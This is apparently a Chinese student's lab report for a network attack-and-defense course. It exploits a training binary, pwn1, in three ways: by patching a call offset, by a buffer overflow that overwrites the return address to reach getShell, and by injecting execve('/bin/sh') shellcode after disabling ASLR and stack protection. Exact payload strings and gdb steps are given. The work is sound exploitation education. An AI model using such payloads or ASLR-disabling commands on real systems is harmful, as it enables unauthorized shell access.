20221921 2022-2023-2 《网络攻防实践》实践九报告

本文介绍了网络攻防中的反汇编技术,包括静态反汇编和动态分析,以及如何利用反汇编修改程序执行流程。实践中通过手工修改二进制文件和利用缓冲区溢出(BOF)漏洞触发getShell函数,展示了shellcode的注入过程,以获取系统权限。
摘要由CSDN通过智能技术生成

20221921 2022-2023-2 《网络攻防实践》实践九报告

1.实践内容

1.1反汇编

1.编程原理
通常,编写程序是利用高级语言如C,C++,Delphi等高级语言进行编程的,然后再经过编译程序生成可以被计算机系统直接执行的文件(机器语言)。反汇编即是指将这些执行文件反编译还原成汇编语言或其他语言。但通常反编译出来的程序与原程序会存在些许不同,虽然执行效果相同,但程序代码会发生很大的变化,要读懂反汇编需要有扎实的高级语言编写功底和汇编功底。
2.折叠作用
有许多程序可以进行逆向操作即反编译以求修改,例如Flash的文件生成的SWF文件,可以被反汇编成Flash原码,但可以发现与原程序代码发生了很大变化。
网络上的许多"免费软件",PSP PS NDS游戏机的破解和苹果iOS系统的越狱都跟反汇编息息相关。
3.静态反汇编
静态反汇编是从反汇编出来的程序清单上分析,从提示信息入手进行分析。大多数软件在设计时,都采用了人机对话方式。所谓人机对话,即在软件运行过程中,需要由用户选择的地方,软件即显示相应的提示信息,并等待用户按键选择。而在执行完某一段程序之后,便显示一串提示信息,以反映该段程序运行后的状态,是正常运行,还是出现错误,或者提示用户进行下一步工作的帮助信息。为此,如果我们对静态反汇编出来的程序清单进行阅读,可了解软件的编程思路,以便顺利破解该软件,也就是我们常说的破解版即盗版。反汇编亦是外挂设计最重要的环节,可以说没有反汇编就没有外挂。 常用的静态分析工具是W32DASM、PEiD、FileInfo、 Hex Rays Ida和HIEW等。
4.相关工具
反汇编工具如:OD、IDA Pro、radare2、DEBUG、C32等。
反汇编可以通过反汇编的一些软件实现,比如DEBUG就能实现反汇编,当DEBUG文件位置设置为-u时,即可实现反汇编。 而使用OD实现反汇编时,杀毒软件可能会报告有病毒与木马产生,此时排除即可,且使用OD需要有扎实的基础才能看懂。

1.2内容

本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。

实践内容如下:
1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
3.注入一个自己制作的shellcode并运行这段shellcode。

2.实践过程

1.手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数
我们开启kali后使用objdump对pwn1进行反汇编,输入objdump -d pwn20221921| more。
在这里插入图片描述

然后我们找到找到函数getshell、foo、main的地方。
在这里插入图片描述

我们发现在main函数中执行到call,EIP会指向0x08048491,所以是foo函数的入口地址,这个时候的偏移量为0xffffffd7
我们只要修改偏移量,使EIP指定到getshell的入口地址
修改成0xffffffc3即可。

首先我们用vim打开pwn20221921,发现都是乱码。
在这里插入图片描述
这时使用010十六进制编写软件,并找到需要修改的地方将d7改为c3,选中后输入c3即可修改。
在这里插入图片描述

修改完成后把文件放到kali里面,在终端中输入./pwn20221921 使用这个程序,这时我们输入whoami与pwd 发现已经跳转为getshell函数。
在这里插入图片描述

2.利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数
我们发现执行后会调用foo函数,这时我们可以利用bof漏洞来使用缓冲区溢出攻击来触发getshell函数,foo函数执行完成后。系统会调用的下一条指令则是0x080484ba。
0x080484ba就是该函数的返回地址。
这时我们输入准备好的字符串将返回地址覆盖,使之变成getshell函数的入口地址,这样就可以跳转到getshell函数
我们这里使用11111111222222223333333344444444\x7d\x84\x04\x08\x0a
输入perl -e 'print “11111111222222223333333344444444\x7d\x84\x04\x08\x0a” ’ > input
在这里插入图片描述
在终端中输入xxd input 显示刚刚的内容。
在这里插入图片描述

在kali终端中接着输入"cat input;cat) |./pwn20221921"让input的输入通过管道符’|',作为pwn20221921的输入,覆盖该返回地址。
在这里插入图片描述
3.注入Shellcode并执行
我们输入execstack -s pwn20221921 命令,设置这个堆栈是可以执行的。
在这里插入图片描述
这时我们使用echo 0 > /proc/sys/kernel/randomize_va_space指令,将地址随机化设置为关闭,并且,通过more /proc/sys/kernel/randomize_va_space这个指令来验证。
在这里插入图片描述

这时生成新输入的程序。
在kali终端中输入perl -e ‘print “A” x 32;print “\x4\x3\x2\x1\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > input_shellcode
在这里插入图片描述

我们将input_shellcode的命令作为pwn20221921文件的输入,然后接着运行pwn程序。
在kali终端中输入命令”(cat input_shellcode;cat) | ./pwn20221921“ 。
在这里插入图片描述

我们打开另一个终端 cat一下pwn20221921文件运行的进程号。
在kali终端中输入命令 ps -ef | grep pwn20221921 可以看见进程号为3318。
在这里插入图片描述

这时我们在终端中输入gdb 打开gdb后开始调试进程 输入attach 3318调试进程。
然后我们获取foo函数的汇编地址。
输入命令”disassemble foo“ 即可,我们在最后一行获取到它的ret地址为0*080484ae。
在这里插入图片描述
随后我们在ret函数的地方设置断点 输入”break *0x080484ae“即可设置成功。
在这里插入图片描述
这时我们继续让程序运行,在终端中输入c即可显示出continuing,然后再运行pwn20221921的终端点回车。
然后再调试的终端,程序遇到断点将会停止运行。
在这里插入图片描述
我们在终端中输入info r esp指令查看栈顶,并通过x/16x 0xffffcfb0指令查看xcffffcfb0地址所存放的数据。
在这里插入图片描述
接着输入指令“x/16x 0xffffcfb4”因为cfb0+4=cfb4。输入后我们看到了shellcode的内容。
在这里插入图片描述
最后我们使用修正后的指令为
(perl -e ‘print “A” x 32;print “\x40\xd1\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00”’ > input_shellcode)使用指令“(cat input_shellcode;cat) | ./pwn20221921”,再输入ls等命令,即可查看到目录信息和用户信息。到这里shellcode就已经注入成功了。
在这里插入图片描述

3.学习中遇到的问题及解决

问题1:发现kali中没有安装execstack命令。
问题1解决方案:在网上搜寻之后,在终端中输入apt-get install execstack后成功

4.实践总结

本次实验总体觉得很麻烦,但综合了很多的东西,让我学到了很多新东西。
在做实验时,一定要耐得住性子,不懂的东西可以与同学交流,或者上网查资料。

参考资料

  • 《网络攻防技术与实践》
  • 博客园
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值